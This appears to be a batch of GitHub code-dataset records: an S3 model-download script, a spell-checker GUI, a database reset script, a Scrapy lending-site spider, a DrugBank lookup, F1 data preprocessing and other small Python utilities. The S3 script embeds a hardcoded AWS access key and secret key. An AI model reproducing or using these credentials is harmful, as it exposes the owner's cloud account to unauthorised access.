local_folder+model_name+'/'\n if not os.path.exists(os.path.dirname(model_folder)):\n os.makedirs(os.path.dirname(model_folder))\n model_file = model_folder+k.split('/')[-1]\n if os.path.isfile(model_file):\n downloaded_size += os.path.getsize(model_file)\n print(downloadCnt, model_file, \"file already exists.\", \" total downloaded size:\", downloaded_size/GB, \"GB\")\n continue\n print(downloadCnt, k, 'downloading...', end='')\n client.download_file(bucket, k, model_file)\n downloaded_size += os.path.getsize(model_file)\n print(\" total downloaded size:\", downloaded_size/GB, \"GB\")\n next_token = results.get('NextContinuationToken')\n \n\ndef main():\n\n total_download_size = 2048\n try:\n total_download_size = int(sys.argv[1])\n print(\"Total download size set to:\", sys.argv[1], \"GB\")\n except Exception as e:\n print(\"All models downloading...\")\n #print(\"total_download_size:\", total_download_size)\n #sys.exit() \n\n client = boto3.client('s3',\n aws_access_key_id='AKIAS7X5VN6V27UIKGTD',\n aws_secret_access_key='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')\n\n bucket_name = \"ds5110-ml-pretrained-models\"\n s3_folder = \"models/\"\n local_folder = \"pretrained_models/\"\n if not os.path.exists(os.path.dirname(local_folder)):\n os.makedirs(os.path.dirname(local_folder))\n download_dir(s3_folder, local_folder, bucket_name, client, total_download_size*GB)\n\nif __name__ == \"__main__\":\n main()\n\n","repo_name":"aubrwing/DS-5110-Model-Clustering","sub_path":"model_download.py","file_name":"model_download.py","file_ext":"py","file_size_in_byte":2707,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"3003319443","text":"from tkinter import *\nfrom spellchecker import SpellChecker\n\nspell = SpellChecker()\n\nwindow = Tk()\nwindow.title(\"Ultimate Spell Checker\")\n\n\nclass Gui(Tk):\n def __init__(self):\n # Labels\n self.text_label = Label(window, text=\"Insert Text:\", font=('comic sans', 15))\n self.text_label.grid(row=0, column=0, padx=10, pady=10)\n\n self.result_label = Label(window, text=\"Suggested Spelling:\", font=('comic sans', 15))\n self.result_label.grid(row=5, column=0, pady=10, columnspan=3)\n\n # User Input\n self.word_entry = Entry(window, width=50)\n self.word_entry.grid(row=2, column=0, pady=2, padx=5)\n\n # Buttons\n self.convert = Button(window, text='Check Spelling', width=25, command=self.check_spelling)\n self.convert.grid(row=3, column=0, pady=5)\n\n self.convert = Button(window, text='Clear Suggestions', width=25, command=self.clear_list)\n self.convert.grid(row=4, column=0, pady=5)\n\n # Listbox\n\n self.listbox1 = Listbox(window)\n self.listbox1.grid(row=6, column=0, pady=10)\n\n def clear_list(self):\n self.listbox1.delete(0, END)\n\n def check_spelling(self):\n sentence = self.word_entry.get().lower()\n words_list = sentence.split()\n\n for word in words_list:\n misspelled = spell.correction(word)\n self.listbox1.insert(END, misspelled)\n\n\ngui = Gui()\nwindow.mainloop()\n","repo_name":"Dannydorestant/ultimatespellchecker","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1426,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"18587966182","text":"import os\n\nimport psycopg2\n\n\ndef reset_db():\n conn = psycopg2.connect(\n host=os.getenv(\"DB_HOST\"),\n database=os.getenv(\"DB_NAME\"),\n user=os.getenv(\"DB_USERNAME\"),\n password=os.getenv(\"DB_PASSWORD\"),\n )\n\n with conn.cursor() as cur:\n # Create the User tokens table.\n cur.execute(\"DROP TABLE IF EXISTS user_tokens CASCADE;\")\n cur.execute(\n \"\"\"CREATE TABLE user_tokens (\n fitbit_id varchar (10) PRIMARY KEY,\n fitbit_access_token varchar (400),\n fitbit_refresh_token varchar (100),\n strava_access_token varchar (400),\n strava_refresh_token varchar (100),\n date_added timestamp DEFAULT CURRENT_TIMESTAMP,\n fitbit_date_refreshed timestamp DEFAULT CURRENT_TIMESTAMP,\n strava_date_refreshed timestamp DEFAULT CURRENT_TIMESTAMP);\"\"\"\n )\n\n # Create the User activity table.\n cur.execute(\"DROP TABLE IF EXISTS user_activity CASCADE;\")\n cur.execute(\n \"\"\"CREATE TABLE user_activity (\n fitbit_id varchar (10) PRIMARY KEY,\n fitbit_latest_activity_date timestamp NOT NULL DEFAULT date '2000-01-01',\n strava_latest_activity_date timestamp NOT NULL DEFAULT date '2000-01-01',\n CONSTRAINT fk_fitbit_id\n FOREIGN KEY(fitbit_id)\n REFERENCES user_tokens(fitbit_id)\n ON DELETE CASCADE\n );\"\"\"\n )\n\n conn.commit()\n\n conn.close()\n\n\nif __name__ == \"__main__\":\n proceed = input(\n \"WARNING: Executing this script will ERASE ALL EXISTING APPLICATION FROM THE DATABASE! Are you sure you want to proceed? (Y/N):\"\n )\n if proceed == \"Y\":\n print(\"Resetting the database.\")\n reset_db()\n","repo_name":"jwolf20/f-sync","sub_path":"init_db.py","file_name":"init_db.py","file_ext":"py","file_size_in_byte":1858,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"23504406546","text":"import sys\nimport open3d as o3d\nimport argparse\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport shutil\nimport os\nfrom tqdm import tqdm\n\ndef read_camera_pose(filename):\n file = open(filename, 'r')\n data = file.read()\n lines = data.split(\"\\n\")\n pose = np.array([[float(v.strip()) for v in line.split(\" \") if v.strip()!=\"\"] for line in lines if len(line)>0 and line[0]!=\"#\"])\n return pose\n\ndef read_axis(filename):\n axis_align_matrix = None\n lines = open(filename).readlines()\n for line in lines:\n if 'axisAlignment' in line:\n axis_align_matrix = np.array([[float(x) for x in line.rstrip().strip('axisAlignment = ').split(' ')]]).reshape(4, 4)\n break\n return axis_align_matrix\n\ndef rotate_and_trans_from_pose(pose):\n rotate = pose[:3, :3]\n trans = pose[:3, 3]\n #print(\"pose\")\n #print(pose)\n return rotate, trans\n\ndef bbox_to_points(bbox_arr):\n x1 = bbox_arr[0] + (bbox_arr[3]/2)\n x2 = bbox_arr[0] - (bbox_arr[3]/2)\n y1 = bbox_arr[1] + (bbox_arr[4]/2)\n y2 = bbox_arr[1] - (bbox_arr[4]/2)\n z1 = bbox_arr[2] + (bbox_arr[5]/2)\n z2 = bbox_arr[2] - (bbox_arr[5]/2)\n \n points_arr = np.array([[x2, y2, z2], [x1, y2, z2], [x2, y1, z2], [x1, y1, z2], [x2, y2, z1], [x1, y2, z1], [x2, y1, z1], [x1, y1, z1]])\n return points_arr\n\ndef create_lines_from_points():\n lines = np.array([\n [0, 1],\n [0, 2],\n [1, 3],\n [2, 3],\n [4, 5],\n [4, 6],\n [5, 7],\n [6, 7],\n [0, 4],\n [1, 5],\n [2, 6],\n [3, 7],\n ])\n\n return lines\n\ndef bbox_info(bbox_arr, axis=None):\n points = bbox_to_points(bbox_arr)\n lines = create_lines_from_points()\n colors = np.array([[0, 200, 0] for i in range(len(lines))])\n line_set = o3d.geometry.LineSet(\n points=o3d.utility.Vector3dVector(points),\n lines=o3d.utility.Vector2iVector(lines),\n )\n if axis is not None:\n axis = np.array(axis, dtype=np.float)\n line_set.transform(np.linalg.inv(axis))\n line_set.colors = o3d.utility.Vector3dVector(colors)\n return line_set.get_center()\n\n\n\ndef get_bbox_center(bbox_arr):\n return np.array([bbox_arr[0], bbox_arr[1], bbox_arr[2]])\n\ndef compute_trans_vector(trans, bbox_pos):\n return bbox_pos - trans\n\ndef compute_dist(mat1, mat2):\n return pow(mat1[0] - mat2[0], 2) + pow(mat1[1] - mat2[1], 2) + pow(mat1[2] - mat2[2], 2)\n\ndef norm_vector(vec):\n dist = pow(vec[0], 2) + pow(vec[1], 2) + pow(vec[2], 2)\n norm_vec = np.asarray([vec[0]/dist, vec[1]/dist, vec[2]/dist])\n return norm_vec\n\ndef inner_angle(vec1, vec2):\n x = np.inner(vec1,vec2)\n s = np.linalg.norm(vec1)\n t = np.linalg.norm(vec2)\n theta = np.arccos(x/(s*t))\n cos_sim = x/(s*t)\n # return theta\n return cos_sim\n\n\nif __name__==\"__main__\":\n parser = argparse.ArgumentParser()\n parser.add_argument('--bbox_dir', help='bbox npy file')\n parser.add_argument('--frame_dir', help=\"camera pose\")\n parser.add_argument('--save_frame')\n parser.add_argument('--cos_sim_thres')\n parser.add_argument('--output')\n parser.add_argument('--scans')\n parser.add_argument('--alignment', action='store_true')\n args = parser.parse_args()\n\n except_img_cnt = 0\n bboxes_list = os.listdir(args.bbox_dir)\n for bbox_file in tqdm(bboxes_list):\n ##scene0000_00_bbox.npy\n\n bbox_path = os.path.join(args.bbox_dir, bbox_file)\n bboxes = np.load(bbox_path)\n scene_name = str(os.path.splitext(os.path.basename(bbox_file))[0])[:12]\n\n ##frame_queue/scene0000_00/\n scene_path = os.path.join(args.frame_dir, scene_name)\n axis_dir = os.path.join(args.scans, scene_name)\n #axis = read_axis_matrix_from_file(os.path.join(axis_dir, scene_name + \".txt\"))\n axis = read_axis(os.path.join(axis_dir, scene_name + \".txt\"))\n img_dir = os.path.join(scene_path, \"color\")\n pose_dir = os.path.join(scene_path, \"pose\")\n pose_list = os.listdir(pose_dir)\n \n #for i, bbox in enumerate(bboxes):\n for i in range(len(bboxes)):\n bbox = bboxes[i]\n #bbox_pos = get_bbox_center(bbox)\n if args.alignment:\n bbox_pos = bbox_info(bbox, axis)\n else:\n bbox_pos = bbox_info(bbox)\n obj_id = str(int(bbox[7])-1)\n obj_id = obj_id.zfill(3)\n cands = {}\n sec_cands = {}\n for pose in pose_list:\n ##frame_queue/scene0000_00/pose/0.txt\n pose_path = os.path.join(pose_dir, pose)\n cam_mat = read_camera_pose(pose_path)\n rotate, trans = rotate_and_trans_from_pose(cam_mat)\n trans_vec = compute_trans_vector(trans, bbox_pos)\n trans_dist = compute_dist(bbox_pos, trans)\n orient_vec = rotate[:3, 2]\n\n if inner_angle(orient_vec, trans_vec) >= float(args.cos_sim_thres):\n cands[str(pose)]=trans_dist\n else:\n sec_cands[str(pose)] = inner_angle(orient_vec, trans_vec)\n\n\n cands_sorted = dict(sorted(cands.items(), key=lambda x:x[1]))\n cands_pose = list(cands_sorted.keys())\n\n sec_cands_sorted = dict(sorted(sec_cands.items(), key=lambda x:x[1], reverse=True))\n sec_cands_pose = list(sec_cands_sorted.keys())\n \n index = 0\n while len(cands_pose) < int(args.save_frame):\n except_img_cnt += 1\n cands_pose.append(sec_cands_pose[index])\n index += 1\n \n for j in range(int(args.save_frame)):\n frame_name = os.path.splitext(os.path.basename(cands_pose[j]))[0]\n cands_img = os.path.join(img_dir, frame_name + \".jpg\")\n new_img_name = str(scene_name) + \"_\" + str(obj_id) + \"_\" + str(j) + \".jpg\"\n output_path = os.path.join(args.output, new_img_name)\n shutil.copy(cands_img, output_path)\n\n print(\"NO Image of this thresh\")\n print(except_img_cnt)\n\n\n\n\n\n\n\n\n","repo_name":"NyanSequitur/SQA3D-LLM","sub_path":"get_oracle_img.py","file_name":"get_oracle_img.py","file_ext":"py","file_size_in_byte":6096,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"7110968199","text":"import logging\nimport ConfigParser\nimport os\n\nlogging.basicConfig(format='[%(asctime)s](%(filename)s#%(lineno)d)%(levelname)-7s %(message)s',\n level=logging.NOTSET)\n\nconfig = ConfigParser.RawConfigParser()\n\nconfigfiles = list()\n\n# load default config file\ndev_cfg = os.path.join(os.path.dirname(__file__), 'app.local.cfg')\nlogging.warn(\"Dev: %s\" % dev_cfg)\nconfigfiles += [dev_cfg]\n\nconfigfiles += ['/var/`']\n\nlogging.warn('Configuration files read: %s' % configfiles)\n\nfiles_read = config.read(configfiles)\n\nlogger = logging.getLogger(\"\")\n\nlogger.warn('Configuration files read: %s' % files_read)\n\nlogger.setLevel(int(config.get('app', 'log_level')))\n\n\nAPPS_TO_RUN = ['web','idgen']\n\ntry:\n SENTRY_DSN = config.get(\"sentry\", \"dsn\")\nexcept Exception as ex:\n logger.error(ex)\n logger.warn(\"{0}Sentry client is DUMMY now{0} Config=>[{1}]\".format(20 * \"=\", SENTRY_DSN))","repo_name":"arunkgupta/pythonhackers","sub_path":"pyhackers/config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":893,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"67"} +{"seq_id":"22170742283","text":"# https://leetcode.com/problems/3sum/\n\n# Given an array nums of n integers, are there elements a, b, c\n# in nums such that a + b + c = 0?\n# Find all unique triplets in the array which gives the sum of zero.\n# Notice that the solution set must not contain duplicate triplets.\n\nfrom typing import List\n\n\ndef three_sum(nums: List[int]) -> List[List[int]]:\n if not isinstance(nums, list) or any(\n num for num in nums if not isinstance(num, int)\n ):\n raise Exception(\"You must provide a list containing integers as input\")\n\n sol = []\n\n # overall solution will have a time complexity if O(n²), so sorting comes\n # for \"free\"\n nums = sorted(nums)\n\n # iteration limit considers 3 elements are needed to build a triplet.\n for i in range(0, len(nums) - 2):\n # skip repeated numbers to avoid duplicates in the solution.\n if i > 0 and nums[i] == nums[i - 1]:\n continue\n\n s, e = i + 1, len(nums) - 1\n\n while s < e:\n sliding_sum = nums[i] + nums[s] + nums[e]\n\n if sliding_sum == 0:\n sol.append([nums[i], nums[s], nums[e]])\n s += 1\n e -= 1\n\n while nums[s] == nums[s - 1] and s < e:\n s += 1\n\n while nums[e] == nums[e + 1] and e > s:\n e -= 1\n\n if sliding_sum > 0:\n e -= 1\n if sliding_sum < 0:\n s += 1\n\n return sol\n","repo_name":"SHY-Corp/LeetCode-Solutions","sub_path":"Python/15. 3sum.py","file_name":"15. 3sum.py","file_ext":"py","file_size_in_byte":1465,"program_lang":"python","lang":"en","doc_type":"code","stars":240,"dataset":"github-code","pt":"67"} +{"seq_id":"35381547549","text":"import networkx as nx\nimport operator\n\ndef equiv_classes(graph, node_key='bond', edge_key='atom_type'):\n '''Function to identify equivalent nodes'''\n\n def node_equal(n1, n2):\n '''Determine if two nodes are equal'''\n return n1[node_key] == n2[node_key]\n def edge_equal(e1, e2):\n return e1[edge_key] == e2[edge_key]\n\n #equivalence classes\n equiv = [set([x]) for x in graph]\n #iterate over the autoisomorphisms\n gm = nx.isomorphism.GraphMatcher(graph, graph,\n node_match=node_equal,\n edge_match=edge_equal)\n for map in gm.isomorphisms_iter():\n #iterate over the bijective mapping\n for k1,k2 in map.items():\n if k1 == k2:\n continue\n #found a swap of two nodes\n #they must be in the same equivalence class\n for i in range(len(equiv)):\n if k1 in equiv[i]:\n break\n for j in range(len(equiv)):\n if k2 in equiv[j]:\n break\n if(i != j):\n equiv[i] |= equiv[j]\n del equiv[j]\n frozen_equiv = [frozenset(s) for s in equiv]\n return frozen_equiv\n\ndef equiv_function(equiv):\n '''Return an equivalence class function from a list of\n equivalence sets'''\n map = dict()\n for i,e in enumerate(equiv):\n for a in e:\n map[a] = i\n def result(a,b):\n return map[a] == map[b]\n return result","repo_name":"ur-whitelab/mapping-graph","sub_path":"mapg/equiv.py","file_name":"equiv.py","file_ext":"py","file_size_in_byte":1526,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"67"} +{"seq_id":"31042243847","text":"import setuptools\nimport os\nfrom pathlib import Path\n\nroot = Path(os.path.realpath(__file__)).parent\nversion_file = root / \"src\" / \"dsp\" / \"VERSION\"\nreadme_file = root / \"readme.rst\"\n\nextras_require = {}\n\nsetuptools.setup(\n name=\"dsp\",\n version=version_file.read_text().strip(),\n license=\"MIT\",\n description=\"Dyson sphere program recipe calculator.\",\n keywords=\"dyson sphere program\",\n long_description=readme_file.read_text(),\n long_description_content_type=\"text/x-rst\",\n\n url=\"https://pypi.org/project/dsp\",\n download_url=\"https://pypi.org/project/dsp\",\n project_urls={\n \"Source\": \"https://github.com/felix-hilden/dsp\",\n \"Issues\": \"https://github.com/felix-hilden/dsp/issues\",\n },\n\n author=\"Felix Hildén\",\n author_email=\"felix.hilden@gmail.com\",\n maintainer=\"Felix Hildén\",\n maintainer_email=\"felix.hilden@gmail.com\",\n\n packages=setuptools.find_packages(where=\"src\"),\n package_dir={\"\": \"src\"},\n include_package_data=True,\n\n entry_points={\n \"console_scripts\": [\n \"dsp = dsp.cli:main\",\n ],\n },\n\n python_requires=\">=3.7\",\n install_requires=[\n 'PyQt6',\n ],\n extras_require=extras_require,\n\n classifiers=[],\n)\n","repo_name":"felix-hilden/dsp","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1231,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"29962857284","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\nfrom scrapy.contrib.spiders import CrawlSpider, Rule\nfrom scrapy.contrib.linkextractors.sgml import SgmlLinkExtractor\nfrom scrapy.selector import Selector\nfrom scrapy.http import Request\nfrom anxin.items import AnxinItem\nimport urllib\nimport urllib2\nimport os\nimport re\nimport httplib\n\nclass AnxinSpider(CrawlSpider):\n name = 'anxin'\n allowd_domain = ['anxin.com']\n url_list = []; #初始化url_list数组\n download_delay = 3 #访问间隔秒数\n\n #for循环开始:访问产品列表的10个页面\n for i in range(1,10) :\n url_js = 'http://www.anxin.com/ajax/ajax_borrow.ashx?cmd=getfilterlist&key=r0%2Ck0%2Cp0%2Cu0%2Ca0%2Cv0%2C'\\\n + '&pageindex=' + str(i) + '&pagesize=10' \\\n \n #print url_js\n wp = urllib2.urlopen(url_js) #打开连接\n content = wp.read() #获取页面内容\n content_productid = re.findall('http://www.anxin.com/invest/'r'[\\S]*', content) #获取 (\"productid\":) 及其后6位的id\n #content_url = [content_index.replace('http://www.anxin.com/invest/',\n # 'https://member.niwodai.com/xiangmu/v')\n # for content_index in content_productid] #替换url\n \n #print content_productid\n content_url2 = [content_index2.replace('\\'',\n '')\n for content_index2 in content_productid] #替换链接最后一个“\n #print content_url2 \n url_list.extend(content_url2) #将content_url里的url迭代写入url_list\n #for循环结束\n\n start_urls = set(url_list) #start_urls赋值,并去重\n #print(url_list)\n def parse(self, response):\n item = AnxinItem()\n sel = Selector(response)\n item['name'] = sel.xpath('//title/text()').extract()[0]\n item['link'] = response.url\n item['amount'] = sel.xpath('//div[@class=\\\"content\\\"]/p/text()').extract()[0]\n item['min_amount'] = sel.xpath('//div[@class=\\\"inputN\\\"]/span/i/text()').extract()[0]\n item['income_rate'] = sel.xpath('//div[@class=\\\"content\\\"]/p/text()').extract()[1]\n item['term'] = sel.xpath('//div[@class=\\\"content\\\"]/p/text()').extract()[2]\n item['area'] = ''\n item['transfer_claim'] = ''\n item['repay_type'] = sel.xpath('//div[@class=\\\"content\\\"]/span/text()').extract()[1]\n item['reward'] = ''\n\n item['protect_mode'] = ''\n item['description'] = ''\n item['process'] = sel.xpath('//div[@class=\\\"over\\\"]/span/text()').extract()[0]\n\n yield item\n\n #def parse_page2(self, response):\n\n\n\n","repo_name":"yfjelley/scrapy_1214049153","sub_path":"crawl/anxin/anxin/spiders/base.py","file_name":"base.py","file_ext":"py","file_size_in_byte":2735,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"67"} +{"seq_id":"70118050133","text":"import sys\nimport os\n\n# sys.argv[0] # file path from python3 -> testing.py <-- for example\nif len(sys.argv) > 1:\n arg1 = sys.argv[1]\n if len(sys.argv) > 2:\n arg2 = sys.argv[2]\n# we can use additional information from that to make clever functions\n\n\ndef remove_folder(**key):\n if key[\"arg1\"] == \"--rmdir\" and arg2:\n try:\n os.rmdir(key[\"arg2\"])\n except FileNotFoundError:\n print(f\"folder with name '{arg2}'' does not exist\")\n\n\nif arg1 and arg2:\n print(\"arg\", arg2)\n remove_folder(arg1=arg1, arg2=arg2)\nelse:\n print(\"Please type '--rmdir' followed by the folder name\")\n","repo_name":"DryDish/PythonExercises","sub_path":"exam_things/remove_folder_sample.py","file_name":"remove_folder_sample.py","file_ext":"py","file_size_in_byte":627,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"41111825836","text":"from lxml import etree\nimport lxml.html\n\ndef ninghai_ajax_modifier(data):\n try:\n data['text'] = data['text'].replace('iframe','p')\n body = lxml.html.fromstring(data['text'])\n decide_elem = body.xpath('//div[@class=\"newsdetails-bg\"]')[0]\n content = etree.tostring(decide_elem,encoding='utf-8')\n \n #print(content.decode('utf-8'))\n data['text'] = content.decode('utf-8')\n except Exception as e:\n raise e\n return data","repo_name":"nightqiuhua/bigCrawlers","sub_path":"wangban/wangban/html_ex/wangban_utils/modify_func/ningbo/ninghai_ajax.py","file_name":"ninghai_ajax.py","file_ext":"py","file_size_in_byte":478,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"72091192852","text":"#\n# drugbank.ca lookup\n#\n\n\"\"\"\nsubstitutes mentions of drugs in a string with the generic name\n\"\"\"\n\nimport robotreviewer\nimport pickle as pickle\nimport collections\nimport re\n\n\n#DATA_PATH = cochranenlp.config[\"Paths\"][\"base_path\"] # to pubmed pdfs\n\n\nclass Drugbank:\n\n def __init__(self):\n with open(robotreviewer.get_data('drugbank/drugbank.pck'), 'rb') as f:\n self.data = pickle.load(f)\n self.description = pickle.load(f)\n\n def sub(self, text):\n \n tokens = re.split(\"([^A-Za-z0-9])\", text)\n\n drug_entities = self._find_longest_token_matches(tokens)\n\n output = []\n\n last_marker = 0\n\n for drug_entity in drug_entities:\n\n output.extend(tokens[last_marker:drug_entity[1]])\n output.append(drug_entity[0])\n last_marker = drug_entity[2]+1\n\n output.extend(tokens[last_marker:])\n return ''.join(output)\n\n\n def contains_drug(self, text):\n\n tokens = re.split(\"([^A-Za-z0-9])\", text)\n drug_entities = self._find_longest_token_matches(tokens)\n\n return len(drug_entities) > 0\n\n\n def _find_longest_token_matches(self, tokens):\n output = []\n\n last_tokens_buffer = [[]]\n # the list contains an empty list which acts as a dummy placeholder\n # since the loop below iterates through the outer list, adding the\n # current word to each sublist\n\n temp_buffer = [[]]\n # this is a copy, since a completely new buffer is developed with\n # each iteration of the loop\n \n for i, token in enumerate(tokens):\n \n\n\n token_lower = token.lower()\n token_tags = []\n\n for token_list in last_tokens_buffer:\n \n lookup_key = \"\".join(token_list + [token_lower])\n\n \n result = self.data.get(lookup_key, set()).copy() # make a copy to stop the pop deleting items from the gazetteer below!\n \n \n\n while result:\n item = result.pop()\n if item == \"!!jump!!\":\n temp_buffer.append(token_list + [token_lower])\n else:\n token_tags.append((item, i-len(token_list), i))\n\n last_tokens_buffer = temp_buffer\n temp_buffer = [[]]\n\n if token_tags:\n longest_tag = sorted(token_tags, key=lambda x: x[2]-x[1])[0]\n\n output.extend(token_tags)\n\n return output\n\ndef main():\n drugbank = Drugbank()\n\n test_text = \"\"\"\n Here is some text which mentions tylenol, ibuprofen, quinine, and valproic acid.\n \"\"\"\n\n print(test_text)\n print()\n print(drugbank.sub(test_text))\n print(drugbank.contains_drug(test_text))\n\n \n test_text = \"\"\"\n Here is some more text which contains no drug mention.\n \"\"\"\n\n print(test_text)\n print()\n print(drugbank.sub(test_text))\n print(drugbank.contains_drug(test_text))\n\n\n\n\n\nif __name__ == '__main__':\n main()\n\n\n\n","repo_name":"ijmarshall/robotreviewer","sub_path":"robotreviewer/lexicons/drugbank.py","file_name":"drugbank.py","file_ext":"py","file_size_in_byte":3067,"program_lang":"python","lang":"en","doc_type":"code","stars":127,"dataset":"github-code","pt":"67"} +{"seq_id":"28097810343","text":"from datetime import datetime\nimport numpy as np\nfrom sklearn.preprocessing import OneHotEncoder\nimport pandas as pd\n\n\n# turn pandas string representation of time columns into floats of seconds.\n# input: time_cols -> a list of columns which are in string date version\n# string_format -> representation of the format of the string\n# epoch_time -> represents the default time for when day and month isnt represented\n# NOTE: this can change based on the version running the thingy. (but should be normalized away)\n# output: the dataframe, but with all columns previously represented as string dates, are now seconds from race/lap start time\ndef time_to_seconds(df, time_cols = None, string_format = None, epoch_time = None ):\n if time_cols == None:\n time_cols= [\n \"Sector1Time\",\n \"Sector2Time\",\n \"Sector3Time\",\n \"Sector1SessionTime\",\n \"Sector2SessionTime\" ,\n \"Sector3SessionTime\", \n \"InFrontTime\",\n \"PursuerTime\",\n \"PitInTime\",\n \"PitOutTime\",\n \"Time\",\n \"LapTime\"]\n\n if string_format == None:\n string_format = \"0 days %H:%M:%S.%f\"\n if epoch_time == None:\n epoch_time = datetime(1900, 1, 1)\n\n\n for el in time_cols:\n df[el] = (pd.to_datetime(df[el], \n format = string_format,\n errors = 'coerce'\n )-epoch_time).dt.total_seconds()\n \n return None\n\n# Takes the team name and one hot encodes it.\n# Teams have changed names over the past 5 years, so the code combines teams\n# final label is based off of 2023 team names\ndef team_hotness(df_raw):\n temp = df_raw[\"Team\"].astype(str).to_numpy().reshape(-1, 1)\n uniques = np.unique(temp).tolist()\n\n enc = OneHotEncoder(sparse = False,).fit(temp)\n enc.columns = enc.get_feature_names_out()\n matrix = (enc.transform(temp))\n\n panda_df = pd.DataFrame(data = matrix, \n columns = enc.get_feature_names_out()) \n \n panda_df[\"Alfa_Romeo\"] = panda_df['x0_Alfa Romeo'] + panda_df['x0_Alfa Romeo Racing'] + panda_df['x0_Sauber']\n panda_df[\"AlphaTauri\"] = panda_df['x0_Toro Rosso'] + panda_df['x0_AlphaTauri']\n panda_df[\"Alpine\"] = panda_df['x0_Alpine'] + panda_df['x0_Renault']\n panda_df[\"Aston_Martin\"] = panda_df[\"x0_Aston Martin\"] + panda_df[\"x0_Racing Point\"] + panda_df['x0_Force India']\n panda_df[\"Ferrari\"] = panda_df[\"x0_Ferrari\"]\n panda_df[\"Haas\"] = panda_df[\"x0_Haas F1 Team\"]\n panda_df[\"McLaren\"] = panda_df[\"x0_McLaren\"]\n panda_df[\"Mercedes\"] = panda_df[\"x0_Mercedes\"]\n panda_df[\"Red_Bull\"] = panda_df[\"x0_Red Bull Racing\"]\n\n proper_name = [\"Alfa_Romeo\", \"AlphaTauri\",\"Alpine\", \"Aston_Martin\", \"Ferrari\", \n \"Haas\", \"McLaren\", \"Mercedes\",\"Red_Bull\"]\n for name in proper_name:\n df_raw[name] = panda_df[name]\n return None\n\n\n# gets the one hot encoding of trackstatus\n# because they're put in kinda weird, it all got one hot encoded kinda weird\ndef track_status_hotness(df_raw):\n temp = df_raw[\"TrackStatus\"].astype(str).to_numpy().reshape(-1, 1)\n uniques = np.unique(temp).tolist()\n\n # custom_fnames_enc = OneHotEncoder(feature_name_combiner=custom_combiner).fit(X)\n\n enc = OneHotEncoder(sparse = False,).fit(temp)\n enc.columns = enc.get_feature_names_out()\n matrix = (enc.transform(temp))\n \n panda_df = pd.DataFrame(data = matrix, \n columns = enc.get_feature_names_out()) \n panda_df[\"TrackStatus_1\"] = panda_df['x0_1.0'] + panda_df['x0_71.0']\n panda_df[\"TrackStatus_2\"] = (panda_df['x0_2.0'] + panda_df['x0_24.0'] + panda_df['x0_26.0']\n + panda_df['x0_264.0'] + panda_df['x0_267.0'] \n + panda_df['x0_672.0'] + panda_df['x0_6724.0'] + panda_df['x0_72.0']\n + panda_df['x0_724.0']) # panda_df['x0_52.0']\n panda_df[\"TrackStatus_4\"] = (panda_df[\"x0_24.0\"] + panda_df[\"x0_264.0\"] + panda_df['x0_4.0'] \n + panda_df[\"x0_45.0\"] + panda_df[\"x0_64.0\"] + panda_df[\"x0_6724.0\"]\n + panda_df[\"x0_724.0\"])\n panda_df[\"TrackStatus_5\"] = ( panda_df[\"x0_45.0\"]\n ) # panda_df[\"x0_52.0\"]\n panda_df[\"TrackStatus_6\"] = (panda_df[\"x0_26.0\"] + panda_df['x0_264.0'] + panda_df['x0_267.0']\n + panda_df['x0_6.0'] + panda_df['x0_64.0'] + panda_df['x0_67.0']\n + panda_df['x0_672.0'] + panda_df['x0_6724.0'])\n panda_df[\"TrackStatus_7\"] = (panda_df[\"x0_267.0\"] + panda_df['x0_67.0'] + panda_df['x0_672.0']\n + panda_df['x0_6724.0'] + panda_df['x0_7.0']\n + panda_df['x0_71.0'] + panda_df['x0_72.0'] + panda_df['x0_724.0']\n )\n # panda_df[\"TrackStatus_nan\"] = panda_df['x0_nan']\n \n proper_name = [\"TrackStatus_7\",\"TrackStatus_6\", \"TrackStatus_5\", \"TrackStatus_4\", \n \"TrackStatus_2\", \"TrackStatus_1\"]\n for name in proper_name:\n df_raw[name] = panda_df[name]\n return None\n\n# takes the raw and a column name of a non-binary categorical data\n# then adds those columns in a col_name_type format into the df_raw\ndef non_special_hotness(df_raw, col_name):\n temp = df_raw[col_name].astype(str).to_numpy().reshape(-1, 1)\n uniques = np.unique(temp).tolist()\n\n # custom_fnames_enc = OneHotEncoder(feature_name_combiner=custom_combiner).fit(X)\n\n enc = OneHotEncoder(sparse = False,).fit(temp)\n enc.columns = enc.get_feature_names_out()\n matrix = (enc.transform(temp))\n feat_names = enc.get_feature_names_out()\n proper_name = []\n for name in feat_names:\n proper_name.append(name.replace(\"x0\", col_name))\n panda_df = pd.DataFrame(data = matrix, \n columns = proper_name) \n for name in proper_name:\n df_raw[name] = panda_df[name]\n\n return None\n\n# one hot encodes all categorical data\ndef all_the_hotness(df_raw, categorical_data = None):\n team_hotness(df_raw)\n track_status_hotness(df_raw)\n\n if categorical_data == None:\n categorical_data = ['Driver',\n 'DriverNumber',\n 'Stint',\n 'Compound', \n ]\n for col_name in categorical_data:\n non_special_hotness(df_raw, col_name)\n\ndef drop_cols(df_raw):\n to_drop = ['DeletedReason',\n 'LabelCompound',\n 'PitInTime',\n 'PitOutTime',\n 'FCYStatus',\n # below became one-hot-encoded\n 'Driver',\n 'DriverNumber',\n 'Stint',\n 'Compound', \n 'Team',\n 'RaceTrackStatus',\n \"TrackStatus\",\n # Not in original, and many nulls.\n \"PitInTimeInSeconds\",\n \"PitOutTimeInSeconds\",\n \"PitTimeDifference\",\n # in original, many nuls.\n 